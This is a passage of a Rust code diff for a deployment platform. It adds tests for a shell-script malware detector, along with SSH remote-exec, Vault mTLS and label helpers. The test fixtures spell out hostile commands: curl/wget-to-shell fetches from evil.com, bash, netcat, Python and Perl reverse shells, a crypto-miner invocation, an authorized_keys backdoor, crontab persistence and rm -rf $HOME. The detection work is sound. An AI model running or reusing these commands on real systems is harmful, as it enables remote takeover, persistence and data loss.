+        } else if findings.iter().any(|f| f.contains("[WARNING]")) {
+            "warning".to_string()
+        } else {
+            "info".to_string()
+        },
+        message: if critical_or_warning.is_empty() {
+            "No malicious patterns detected in shell scripts".to_string()
+        } else {
+            format!(
+                "Found {} potentially dangerous pattern(s) in shell scripts",
+                critical_or_warning.len()
+            )
+        },
+        details: findings,
+    }
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -637,7 +1020,11 @@ mod tests {
             }
         });
         let result = check_hardened_images(&definition);
-        assert!(result.passed, "Official images with versioned tags should pass: {}", result.message);
+        assert!(
+            result.passed,
+            "Official images with versioned tags should pass: {}",
+            result.message
+        );
     }
 
     #[test]
@@ -648,7 +1035,10 @@ mod tests {
             }
         });
         let result = check_hardened_images(&definition);
-        assert!(!result.passed, "':latest' tag should fail hardened-images check");
+        assert!(
+            !result.passed,
+            "':latest' tag should fail hardened-images check"
+        );
     }
 
     #[test]
@@ -659,7 +1049,10 @@ mod tests {
             }
         });
         let result = check_hardened_images(&definition);
-        assert!(!result.passed, "Untagged image should fail hardened-images check");
+        assert!(
+            !result.passed,
+            "Untagged image should fail hardened-images check"
+        );
     }
 
     #[test]
@@ -674,8 +1067,13 @@ mod tests {
         // non-root/digest requirement, while still flagging ':latest' as a warning.
         // This test verifies the hardened-source is detected.
         let result = check_hardened_images(&definition);
-        assert!(result.details.iter().any(|d| d.contains("hardened/trusted source")),
-            "Chainguard image should be recognised as hardened source");
+        assert!(
+            result
+                .details
+                .iter()
+                .any(|d| d.contains("hardened/trusted source")),
+            "Chainguard image should be recognised as hardened source"
+        );
     }
 
     #[test]
@@ -689,7 +1087,11 @@ mod tests {
             }
         });
         let result = check_hardened_images(&definition);
-        assert!(result.passed, "Versioned image + non-root user should pass: {}", result.message);
+        assert!(
+            result.passed,
+            "Versioned image + non-root user should pass: {}",
+            result.message
+        );
     }
 
     #[test]
@@ -702,8 +1104,15 @@ mod tests {
             }
         });
         let result = check_hardened_images(&definition);
-        assert!(result.passed, "Digest-pinned image should pass: {}", result.message);
-        assert!(result.details.iter().any(|d| d.contains("pinned to digest")));
+        assert!(
+            result.passed,
+            "Digest-pinned image should pass: {}",
+            result.message
+        );
+        assert!(result
+            .details
+            .iter()
+            .any(|d| d.contains("pinned to digest")));
     }
 
     #[test]
@@ -720,7 +1129,423 @@ mod tests {
             }
         });
         let report = validate_stack_security(&definition);
-        assert!(report.overall_passed, "':latest' tag should NOT block overall_passed");
-        assert!(!report.hardened_images.passed, "':latest' tag should fail hardened_images check");
+        assert!(
+            report.overall_passed,
+            "':latest' tag should NOT block overall_passed"
+        );
+        assert!(
+            !report.hardened_images.passed,
+            "':latest' tag should fail hardened_images check"
+        );
+    }
+
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // Shell script security validation tests
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    #[test]
+    fn test_clean_shell_script_passes() {
+        let scripts = &[
+            ("setup.sh", "#!/bin/sh\necho 'hello world'\nexit 0"),
+            (
+                "init.sh",
+                "#!/bin/bash\nset -e\napt-get update && apt-get install -y curl",
+            ),
+        ];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            result.passed,
+            "Clean scripts should pass: {:?}",
+            result.details
+        );
+    }
+
+    #[test]
+    fn test_curl_pipe_sh_detected() {
+        let scripts = &[(
+            "install.sh",
+            "curl -sSL https://example.com/install.sh | sh",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details[0].contains("[CRITICAL]"));
+        assert!(result.details[0].contains("Remote script execution"));
+    }
+
+    #[test]
+    fn test_wget_pipe_bash_detected() {
+        let scripts = &[("get.sh", "wget -qO- https://evil.com/payload | bash")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details[0].contains("[CRITICAL]"));
+    }
+
+    #[test]
+    fn test_reverse_shell_tcp_detected() {
+        let scripts = &[("shell.sh", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result
+            .details
+            .iter()
+            .any(|d| d.contains("[CRITICAL]") && d.contains("reverse shell")));
+    }
+
+    #[test]
+    fn test_base64_decode_exec_detected() {
+        let scripts = &[("decode.sh", "echo 'cHduZWQ=' | base64 -d | sh")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details[0].contains("[CRITICAL]"));
+    }
+
+    #[test]
+    fn test_crypto_miner_detected_in_script() {
+        let scripts = &[(
+            "miner.sh",
+            "#!/bin/bash\n./xmrig --url stratum+tcp://pool.minexmr.com:4444",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details.iter().any(|d| d.contains("xmrig")));
+    }
+
+    #[test]
+    fn test_rm_rf_root_detected() {
+        let scripts = &[("cleanup.sh", "rm -rf /var/log/app")];
+        let result = validate_shell_scripts(scripts);
+        assert!(result.passed, "rm -rf on /var should pass (not / or /etc)");
+    }
+
+    #[test]
+    fn test_nc_reverse_shell_detected() {
+        let scripts = &[("pwn.sh", "nc -e /bin/sh 10.0.0.1 1234")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details.iter().any(|d| d.contains("Netcat")));
+    }
+
+    #[test]
+    fn test_multi_script_partial_failure() {
+        let scripts = &[
+            ("good.sh", "#!/bin/sh\necho ok"),
+            ("bad.sh", "curl https://evil.com/backdoor.sh | bash"),
+            ("also_good.sh", "#!/bin/bash\nset -e\ncp /data /backup/"),
+        ];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed, "One bad script should fail the whole check");
+        assert!(
+            result.details[0].contains("bad.sh"),
+            "Finding should reference the bad script name"
+        );
+    }
+
+    #[test]
+    fn test_empty_script_passes() {
+        let scripts = &[("empty.sh", "")];
+        let result = validate_shell_scripts(scripts);
+        assert!(result.passed);
+    }
+
+    #[test]
+    fn test_obfuscated_eval_detected() {
+        let scripts = &[("obfuscated.sh", "eval $(echo 'cHduZWQ=' | base64 -d)")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+    }
+
+    #[test]
+    fn test_pastebin_download_detected() {
+        let scripts = &[(
+            "fetch.sh",
+            "curl -s https://pastebin.com/raw/abc123 > /tmp/payload",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details.iter().any(|d| d.contains("pastebin")));
+    }
+
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // Security-audit follow-up tests (M1, M2, plus coverage gaps).
+    //
+    // These tests are written FIRST (TDD): they encode the intended
+    // post-fix behaviour and MUST fail against the current code.
+    // The fix in src/helpers/security_validator.rs flips them to green.
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    /// M1: the current `bash\s+<(curl|wget)` regex treats `(curl|wget)` as a
+    /// capture group, so it never matches the real bash process substitution
+    /// syntax `bash <(curl ...)`. After the fix the regex must match it.
+    #[test]
+    fn test_bash_process_substitution_curl_detected() {
+        let scripts = &[(
+            "evil.sh",
+            "#!/bin/bash\nbash <(curl -sSL https://evil.example/payload)\n",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "bash <(curl ...) must be flagged, got passed=true with details={:?}",
+            result.details
+        );
+        assert!(
+            result.details.iter().any(|d| d.contains("[CRITICAL]")),
+            "bash <(curl ...) must be CRITICAL, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M1: same broken regex; symmetric case with `wget`.
+    #[test]
+    fn test_bash_process_substitution_wget_detected() {
+        let scripts = &[("evil.sh", "bash <(wget -qO- https://evil.example/x)")];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "bash <(wget ...) must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M1 / coverage gap: setuid bit installation is a classic persistence /
+    /// privesc move and is currently not in `SHELL_MALICIOUS_PATTERNS` at all.
+    #[test]
+    fn test_setuid_chmod_detected() {
+        let scripts = &[("setuid.sh", "chmod u+s /tmp/payload\n")];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "chmod u+s (setuid) must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M1 / coverage gap: setgid variant, currently uncovered.
+    #[test]
+    fn test_setgid_chmod_detected() {
+        let scripts = &[("setgid.sh", "chmod g+s /usr/local/bin/x\n")];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "chmod g+s (setgid) must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M1: current `rm\s+(-rf|--recursive)\s+/[^a-z]` requires a literal `/`
+    /// after `-rf`, so `rm -rf $HOME` slips through. After the fix it must
+    /// match the $HOME variable form.
+    #[test]
+    fn test_rm_rf_home_var_detected() {
+        let scripts = &[("nuke.sh", "rm -rf $HOME\n")];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "rm -rf $HOME must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M1: same regex gap; tilde form is also missed.
+    #[test]
+    fn test_rm_rf_tilde_detected() {
+        let scripts = &[("nuke.sh", "rm -rf ~/\n")];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "rm -rf ~/ must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// Coverage gap: Python reverse shells are not detected at all.
+    #[test]
+    fn test_python_reverse_shell_detected() {
+        let scripts = &[(
+            "revshell.sh",
+            "python3 -c \"import socket,os,pty;s=socket.socket();s.connect(('10.0.0.1',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('sh')\"\n",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "Python reverse shell one-liner must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// Coverage gap: Perl reverse shells are not detected at all.
+    #[test]
+    fn test_perl_reverse_shell_detected() {
+        let scripts = &[(
+            "perl_revshell.sh",
+            "perl -e 'use Socket;$i=\"10.0.0.1\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}'\n",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "Perl reverse shell one-liner must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// Coverage gap: appending to `~/.ssh/authorized_keys` is currently only
+    /// flagged as a `warning` (substring match) — but it is the canonical
+    /// SSH-backdoor persistence move and must be CRITICAL.
+    #[test]
+    fn test_authorized_keys_append_is_critical() {
+        let scripts = &[(
+            "backdoor.sh",
+            "echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxxxx attacker@evil\" >> ~/.ssh/authorized_keys\n",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(
+            result
+                .details
+                .iter()
+                .any(|d| d.contains("[CRITICAL]") && d.to_lowercase().contains("authorized_keys")),
+            "Appending to authorized_keys must be CRITICAL, got: {:?}",
+            result.details
+        );
+    }
+
+    /// Coverage gap: persistent crontab install is undetected.
+    #[test]
+    fn test_crontab_persistence_detected() {
+        let scripts = &[(
+            "persist.sh",
+            "echo '* * * * * curl -sSL https://evil.example/beacon | sh' | crontab -\n",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "crontab install must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M2: `validate_shell_scripts` indexes the original `content` with an
+    /// offset computed from `content.to_lowercase()`. For inputs where
+    /// `to_lowercase()` SHRINKS the byte length — e.g. `ẞ` (U+1E9E, Capital
+    /// Sharp S, 3 bytes) → `ß` (U+00DF, 2 bytes) — the returned index can
+    /// land mid-UTF-8 sequence in the original, panicking the slice. The
+    /// fix must map the lowercase offset back to a valid char boundary
+    /// in the original (or search the original directly).
+    #[test]
+    fn test_miner_detection_does_not_panic_on_shrinking_lowercase() {
+        // ẞ (capital sharp S, 3 bytes) lowercases to ß (2 bytes).
+        // With the leading ẞ, `content_lower.find("xmrig")` returns 2,
+        // but byte index 2 in `content` lands mid-codepoint of ẞ.
+        let scripts: &[(&str, &str)] =
+            &[("evil.sh", "ẞxmrig --url stratum+tcp://pool.example:4444\n")];
+        let outcome = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
+            validate_shell_scripts(scripts)
+        }));
+        assert!(
+            outcome.is_ok(),
+            "validate_shell_scripts must not panic on Unicode-prefixed miner patterns \
+             where to_lowercase() shrinks byte length"
+        );
+        let report = outcome.unwrap();
+        assert!(
+            !report.passed,
+            "Miner pattern with Unicode prefix should still be flagged after fix"
+        );
+    }
+
+    /// Regression guard for the M2-sibling refactor at `check_no_hardcoded_creds`.
+    ///
+    /// The old implementation was `content.to_lowercase().contains(cred)` which
+    /// (a) allocated a fresh String per credential iteration, and (b) shared
+    /// the `to_lowercase()` code smell with the two miner-detection sites that
+    /// triggered the ẞ UTF-8 panic. The refactor switches to
+    /// `RegexBuilder::case_insensitive(true)` for consistency and to eliminate
+    /// per-call allocation. These tests lock in the observable behaviour so a
+    /// future rewrite can't silently make the check case-sensitive or ASCII-only.
+    #[test]
+    fn test_hardcoded_default_creds_detected_uppercase() {
+        // ADMIN:ADMIN in an env value — must still be flagged case-insensitively.
+        let definition = serde_json::json!({
+            "services": {
+                "app": {
+                    "image": "myapp:1.0",
+                    "environment": {
+                        "TEST_CREDS": "ADMIN:ADMIN"
+                    }
+                }
+            }
+        });
+        let report = validate_stack_security(&definition);
+        assert!(
+            !report.no_hardcoded_creds.passed,
+            "ADMIN:ADMIN must be flagged as a default credential, details: {:?}",
+            report.no_hardcoded_creds.details
+        );
+    }
+
+    #[test]
+    fn test_hardcoded_default_creds_detected_mixed_case() {
+        // Root:Root — real-world sighting from misconfigured healthchecks.
+        let definition = serde_json::json!({
+            "services": {
+                "db": {
+                    "image": "postgres:16",
+                    "environment": {
+                        "AUTH_STRING": "Root:Root"
+                    }
+                }
+            }
+        });
+        let report = validate_stack_security(&definition);
+        assert!(
+            !report.no_hardcoded_creds.passed,
+            "Root:Root must be flagged as a default credential, details: {:?}",
+            report.no_hardcoded_creds.details
+        );
+    }
+
+    /// The refactor uses `regex::escape(cred)` so credential strings are
+    /// treated as literals. Sanity-check the escape by confirming that a
+    /// non-credential value containing regex metacharacters does NOT
+    /// accidentally trigger the check.
+    #[test]
+    fn test_hardcoded_default_creds_regex_metachar_safe() {
+        // "admin.admin" is not one of the tracked credentials. If the
+        // credential string were compiled as a regex without escape, `.`
+        // would match any char and this would match. With regex::escape
+        // it stays a literal dot and won't match "admin:admin".
+        let definition = serde_json::json!({
+            "services": {
+                "app": {
+                    "image": "myapp:1.0",
+                    "environment": {
+                        "NOTE": "admin.admin"
+                    }
+                }
+            }
+        });
+        let report = validate_stack_security(&definition);
+        assert!(
+            report.no_hardcoded_creds.passed,
+            "'admin.admin' must NOT match the 'admin:admin' credential rule after regex::escape, details: {:?}",
+            report.no_hardcoded_creds.details
+        );
+    }
+
+    /// M3: the base64 warning at 200 chars produces noise on every typical
+    /// PEM cert / JWT / dockerconfig blob. After the fix the threshold must
+    /// be raised (proposed: 1024) so a 500-char blob is NOT flagged on its
+    /// own.
+    #[test]
+    fn test_base64_warning_not_aggressive_on_typical_cert_size() {
+        let payload: String = "A".repeat(500);
+        let script = format!("CERT='{}'\necho ok\n", payload);
+        let scripts: Vec<(&str, &str)> = vec![("config.sh", script.as_str())];
+        let result = validate_shell_scripts(&scripts);
+        assert!(
+            result.passed,
+            "500-char base64 (typical PEM body) should not trigger a finding after threshold fix, got: {:?}",
+            result.details
+        );
     }
 }
diff --git a/src/helpers/ssh_client.rs b/src/helpers/ssh_client.rs
index a582a672..5d078214 100644
--- a/src/helpers/ssh_client.rs
+++ b/src/helpers/ssh_client.rs
@@ -2,6 +2,7 @@
 //!
 //! Uses russh to connect to servers and execute system check commands.
 
+use base64::{engine::general_purpose, Engine as _};
 use russh::client::{Config, Handle};
 use russh::keys::key::PrivateKeyWithHashAlg;
 use russh::keys::PrivateKey;
@@ -111,6 +112,12 @@ impl SystemCheckResult {
     }
 }
 
+/// Opaque wrapper around an authenticated SSH handle.
+///
+/// Returned by [`open_ssh`] and consumed by [`exec_remote`] and
+/// [`disconnect_ssh`]. Keeps `ClientHandler` private to this module.
+pub struct SshSession(Handle<ClientHandler>);
+
 /// SSH client handler for russh
 struct ClientHandler;
 
@@ -159,8 +166,11 @@ pub async fn check_server(
     let addr = format!("{}:{}", host, port);
     tracing::info!("Connecting to {} as {}", addr, username);
 
-    let connection_result =
-        timeout(connection_timeout, connect_and_auth(config, &addr, username, key)).await;
+    let connection_result = timeout(
+        connection_timeout,
+        connect_and_auth(config, &addr, username, key),
+    )
+    .await;
 
     match connection_result {
         Ok(Ok(handle)) => {
@@ -174,7 +184,10 @@ pub async fn check_server(
         Ok(Err(e)) => {
             tracing::warn!("SSH connection/auth failed: {}", e);
             let error_str = e.to_string().to_lowercase();
-            if error_str.contains("auth") || error_str.contains("key") || error_str.contains("permission") {
+            if error_str.contains("auth")
+                || error_str.contains("key")
+                || error_str.contains("permission")
+            {
                 result.connected = true;
                 result.error = Some(format!("Authentication failed: {}", e));
             } else {
@@ -193,6 +206,55 @@ pub async fn check_server(
     result
 }
 
+/// Authorize an OpenSSH public key on the remote server using an accepted private key.
+pub async fn authorize_public_key(
+    host: &str,
+    port: u16,
+    username: &str,
+    private_key_pem: &str,
+    public_key: &str,
+    connection_timeout: Duration,
+) -> Result<(), anyhow::Error> {
+    let public_key = public_key.trim();
+    if public_key.is_empty() {
+        return Err(anyhow::anyhow!("Public key cannot be empty"));
+    }
+
+    let key = parse_private_key(private_key_pem)?;
+    let config = Arc::new(Config {
+        ..Default::default()
+    });
+    let addr = format!("{}:{}", host, port);
+
+    let handle = timeout(
+        connection_timeout,
+        connect_and_auth(config, &addr, username, key),
+    )
+    .await
+    .map_err(|_| {
+        anyhow::anyhow!(
+            "Connection timed out after {} seconds",
+            connection_timeout.as_secs()
+        )
+    })??;
+
+    let encoded_key = general_purpose::STANDARD.encode(public_key.as_bytes());
+    let command = format!(
+        "set -eu; key=$(printf '%s' '{}' | base64 -d); \
+         mkdir -p ~/.ssh; chmod 700 ~/.ssh; \
+         touch ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys; \
+         grep -qxF \"$key\" ~/.ssh/authorized_keys || printf '%s\\n' \"$key\" >> ~/.ssh/authorized_keys",
+        encoded_key
+    );
+
+    let result = exec_command_checked(&handle, &command).await;
+    let _ = handle
+        .disconnect(russh::Disconnect::ByApplication, "", "English")
+        .await;
+
+    result
+}
+
 /// Parse a PEM-encoded private key (OpenSSH or traditional formats)
 fn parse_private_key(pem: &str) -> Result<PrivateKey, anyhow::Error> {
     // russh-keys supports various formats including OpenSSH and traditional PEM
@@ -200,6 +262,55 @@ fn parse_private_key(pem: &str) -> Result<PrivateKey, anyhow::Error> {
     Ok(key)
 }
 
+async fn exec_command_checked(
+    handle: &Handle<ClientHandler>,
+    command: &str,
+) -> Result<(), anyhow::Error> {
+    let mut channel = handle.channel_open_session().await?;
+    channel.exec(true, command).await?;
+
+    let mut stderr = Vec::new();
+    let mut exit_status = None;
+    let timeout_duration = Duration::from_secs(10);
+
+    let read_result = timeout(timeout_duration, async {
+        loop {
+            match channel.wait().await {
+                Some(russh::ChannelMsg::ExtendedData { data, ext: _ }) => {
+                    stderr.extend_from_slice(&data);
+                }
+                Some(russh::ChannelMsg::ExitStatus {
+                    exit_status: status,
+                }) => {
+                    exit_status = Some(status);
+                }
+                Some(russh::ChannelMsg::Eof) | Some(russh::ChannelMsg::Close) | None => break,
+                _ => {}
+            }
+        }
+    })
+    .await;
+
+    let _ = channel.eof().await;
+    let _ = channel.close().await;
+
+    if read_result.is_err() {
+        return Err(anyhow::anyhow!("Remote authorization command timed out"));
+    }
+
+    if exit_status.unwrap_or(0) != 0 {
+        let stderr = String::from_utf8_lossy(&stderr).trim().to_string();
+        let message = if stderr.is_empty() {
+            "Remote authorization command failed".to_string()
+        } else {
+            format!("Remote authorization command failed: {}", stderr)
+        };
+        return Err(anyhow::anyhow!(message));
+    }
+
+    Ok(())
+}
+
 /// Connect and authenticate to the SSH server
 async fn connect_and_auth(
     config: Arc<Config>,
@@ -310,6 +421,98 @@ async fn exec_command(
     Ok(String::from_utf8_lossy(&output).to_string())
 }
 
+/// Run a command on an open [`SshSession`], returning `(stdout, stderr, exit_code)`.
+///
+/// Uses a configurable timeout so long-running commands (e.g. install scripts) don't
+/// block indefinitely. Surfaces stderr so callers can surface errors to the user.
+pub async fn exec_remote(
+    session: &SshSession,
+    command: &str,
+    timeout_secs: u64,
+) -> Result<(String, String, u32), anyhow::Error> {
+    let mut channel = session.0.channel_open_session().await?;
+    channel.exec(true, command).await?;
+
+    let mut stdout = Vec::new();
+    let mut stderr = Vec::new();
+    let mut exit_code: u32 = 0;
+    let timeout_duration = Duration::from_secs(timeout_secs);
+
+    let read_result = timeout(timeout_duration, async {
+        loop {
+            match channel.wait().await {
+                Some(russh::ChannelMsg::Data { data }) => {
+                    stdout.extend_from_slice(&data);
+                }
+                Some(russh::ChannelMsg::ExtendedData { data, ext: _ }) => {
+                    stderr.extend_from_slice(&data);
+                }
+                Some(russh::ChannelMsg::ExitStatus { exit_status }) => {
+                    exit_code = exit_status;
+                }
+                Some(russh::ChannelMsg::Eof) | Some(russh::ChannelMsg::Close) | None => break,
+                _ => {}
+            }
+        }
+    })
+    .await;
+
+    let _ = channel.eof().await;
+    let _ = channel.close().await;
+
+    if read_result.is_err() {
+        return Err(anyhow::anyhow!(
+            "Command timed out after {} seconds: {}",
+            timeout_secs,
+            command
+        ));
+    }
+
+    Ok((
+        String::from_utf8_lossy(&stdout).to_string(),
+        String::from_utf8_lossy(&stderr).to_string(),
+        exit_code,
+    ))
+}
+
+/// Open an SSH connection and authenticate with a PEM private key.
+///
+/// Returns an [`SshSession`] that can be passed to [`exec_remote`] multiple times.
+/// Call [`disconnect_ssh`] when done.
+pub async fn open_ssh(
+    host: &str,
+    port: u16,
+    username: &str,
+    private_key_pem: &str,
+    connection_timeout: Duration,
+) -> Result<SshSession, anyhow::Error> {
+    let key = parse_private_key(private_key_pem)?;
+    let config = Arc::new(Config::default());
+    let addr = format!("{}:{}", host, port);
+
+    let handle = timeout(
+        connection_timeout,
+        connect_and_auth(config, &addr, username, key),
+    )
+    .await
+    .map_err(|_| {
+        anyhow::anyhow!(
+            "SSH connection timed out after {} seconds",
+            connection_timeout.as_secs()
+        )
+    })??;
+
+    Ok(SshSession(handle))
+}
+
+/// Gracefully disconnect an open [`SshSession`].
+pub async fn disconnect_ssh(session: SshSession) {
+    let _ = session
+        .0
+        .disconnect(russh::Disconnect::ByApplication, "", "English")
+        .await;
+}
+
 /// Parse disk info from df output
 fn parse_disk_info(result: &mut SystemCheckResult, output: &str) {
     // df -BG output: "Filesystem     1G-blocks  Used Available Use% Mounted on"
@@ -317,19 +520,25 @@ fn parse_disk_info(result: &mut SystemCheckResult, output: &str) {
     let parts: Vec<&str> = output.split_whitespace().collect();
     if parts.len() >= 4 {
         // Parse total (index 1)
-        if let Some(total) = parts.get(1).and_then(|s| s.trim_end_matches('G').parse::<f64>().ok())
+        if let Some(total) = parts
+            .get(1)
+            .and_then(|s| s.trim_end_matches('G').parse::<f64>().ok())
         {
             result.disk_total_gb = Some(total);
         }
 
         // Parse available (index 3)
-        if let Some(avail) = parts.get(3).and_then(|s| s.trim_end_matches('G').parse::<f64>().ok())
+        if let Some(avail) = parts
+            .get(3)
+            .and_then(|s| s.trim_end_matches('G').parse::<f64>().ok())
         {
             result.disk_available_gb = Some(avail);
         }
 
         // Parse usage percentage (index 4)
-        if let Some(usage) = parts.get(4).and_then(|s| s.trim_end_matches('%').parse::<f64>().ok())
+        if let Some(usage) = parts
+            .get(4)
+            .and_then(|s| s.trim_end_matches('%').parse::<f64>().ok())
         {
             result.disk_usage_percent = Some(usage);
         }
diff --git a/src/helpers/stacker_labels.rs b/src/helpers/stacker_labels.rs
new file mode 100644
index 00000000..96854a44
--- /dev/null
+++ b/src/helpers/stacker_labels.rs
@@ -0,0 +1,54 @@
+use std::collections::HashMap;
+
+pub const PROJECT_ID: &str = "my.stacker.project_id";
+pub const TARGET: &str = "my.stacker.target";
+pub const SCOPE: &str = "my.stacker.scope";
+pub const SERVICE: &str = "my.stacker.service";
+pub const DNS: &str = "my.stacker.dns";
+
+pub const SCOPE_PROJECT: &str = "project";
+pub const SCOPE_PLATFORM: &str = "platform";
+
+/// Normalize a project/app name into the stable code used to identify a service
+/// to the status-panel agent. Mirrors the deploy-time stack-code derivation so
+/// the `my.stacker.service` label matches the app code the agent resolves by
+/// (lowercase alphanumerics, runs of other characters collapsed to `-`).
+pub fn sanitize_service_code(name: &str) -> String {
+    let mut out = String::new();
+    let mut prev_dash = false;
+    for ch in name.chars() {
+        let c = ch.to_ascii_lowercase();
+        if c.is_ascii_alphanumeric() {
+            out.push(c);
+            prev_dash = false;
+        } else if !prev_dash {
+            out.push('-');
+            prev_dash = true;
+        }
+    }
+    let out = out.trim_matches('-').to_string();
+    if out.is_empty() {
+        "app-stack".to_string()
+    } else {
+        out
+    }
+}
+
+pub fn insert_runtime_labels(
+    labels: &mut HashMap<String, String>,
+    project_id: Option<impl ToString>,
+    target: Option<&str>,
+    scope: &str,
+    service: &str,
+    dns: &str,
+) {
+    if let Some(project_id) = project_id {
+        labels.insert(PROJECT_ID.to_string(), project_id.to_string());
+    }
+    if let Some(target) = target.filter(|value| !value.trim().is_empty()) {
+        labels.insert(TARGET.to_string(), target.to_string());
+    }
+    labels.insert(SCOPE.to_string(), scope.to_string());
+    labels.insert(SERVICE.to_string(), service.to_string());
+    labels.insert(DNS.to_string(), dns.to_string());
+}
diff --git a/src/helpers/vault.rs b/src/helpers/vault.rs
index 5145817c..76850979 100644
--- a/src/helpers/vault.rs
+++ b/src/helpers/vault.rs
@@ -1,5 +1,6 @@
 use crate::configuration::VaultSettings;
 use reqwest::Client;
+use reqwest::Identity;
 use serde_json::json;
 
 pub struct VaultClient {
@@ -25,8 +26,21 @@ impl std::fmt::Debug for VaultClient {
 
 impl VaultClient {
     pub fn new(settings: &VaultSettings) -> Self {
+        let mut client_builder = Client::builder();
+        if let (Some(cert), Some(key)) = (&settings.client_cert, &settings.client_key) {
+            match Identity::from_pkcs8_pem(cert.as_bytes(), key.as_bytes()) {
+                Ok(identity) => {
+                    client_builder = client_builder.identity(identity);
+                }
+                Err(e) => {
+                    tracing::warn!("Failed to load mTLS identity for Vault client: {}", e);
+                }
+            }
+        }
+        let client = client_builder.build().unwrap_or_else(|_| Client::new());
+
         Self {
-            client: Client::new(),
+            client,
             address: settings.address.clone(),
             token: settings.token.clone(),
             agent_path_prefix: settings.agent_path_prefix.clone(),
@@ -287,10 +301,7 @@ impl VaultClient {
 
     /// Delete runtime preference from Vault
     #[tracing::instrument(name = "Delete runtime preference from Vault", skip_all)]
-    pub async fn delete_runtime_preference(
-        &self,
-        deployment_hash: &str,
-    ) -> Result<(), String> {
+    pub async fn delete_runtime_preference(&self, deployment_hash: &str) -> Result<(), String> {
         let base = self.address.trim_end_matches('/');
         let prefix = self.agent_path_prefix.trim_matches('/');
         let api_prefix = self.api_prefix.trim_matches('/');
@@ -331,10 +342,7 @@ impl VaultClient {
     /// Path: {api_prefix}/{agent_prefix}/org/{org_id}/runtime_policy
     /// Returns the required runtime if an org policy exists, None otherwise
     #[tracing::instrument(name = "Fetch org runtime policy from Vault", skip_all)]
-    pub async fn fetch_org_runtime_policy(
-        &self,
-        org_id: &str,
-    ) -> Result<Option<String>, String> {
+    pub async fn fetch_org_runtime_policy(&self, org_id: &str) -> Result<Option<String>, String> {
         let base = self.address.trim_end_matches('/');
         let prefix = self.agent_path_prefix.trim_matches('/');
         let api_prefix = self.api_prefix.trim_matches('/');
@@ -417,11 +425,21 @@ impl VaultClient {
         let private_key = PrivateKey::random(&mut rand::thread_rng(), Algorithm::Ed25519)
             .map_err(|e| format!("Failed to generate SSH key: {}", e))?;
 
-        let private_key_pem = private_key
+        let mut private_key_pem = private_key
             .to_openssh(LineEnding::LF)
             .map_err(|e| format!("Failed to encode private key: {}", e))?
             .to_string();
 
+        // BUGFIX (2026-07-08) — DO NOT REMOVE.
+        // OpenSSH's key loader (libcrypto) rejects a private-key file that does
+        // not end in a newline (`error in libcrypto` → `Permission denied`).
+        // Guarantee the trailing newline so the key is valid wherever it is
+        // later written to disk (Vault fetch → /var/tmp/own_<id>.pem). This is
+        // NOT a format issue — do not convert to PKCS8.
+        if !private_key_pem.ends_with('\n') {
+            private_key_pem.push('\n');
+        }
+
         let public_key = private_key.public_key();
         let public_key_openssh = public_key
             .to_openssh()
@@ -706,6 +724,8 @@ mod tests {
             agent_path_prefix: prefix.clone(),
             api_prefix: "v1".to_string(),
             ssh_key_path_prefix: None,
+            client_cert: None,
+            client_key: None,
         };
         let client = VaultClient::new(&settings);
         let dh = "dep_test_abc";
@@ -757,6 +777,8 @@ mod tests {
             agent_path_prefix: "agent".to_string(),
             api_prefix: "v1".to_string(),
             ssh_key_path_prefix: None,
+            client_cert: None,
+            client_key: None,
         };
         let client = VaultClient::new(&settings);
         let dh = "dep_runtime_test";
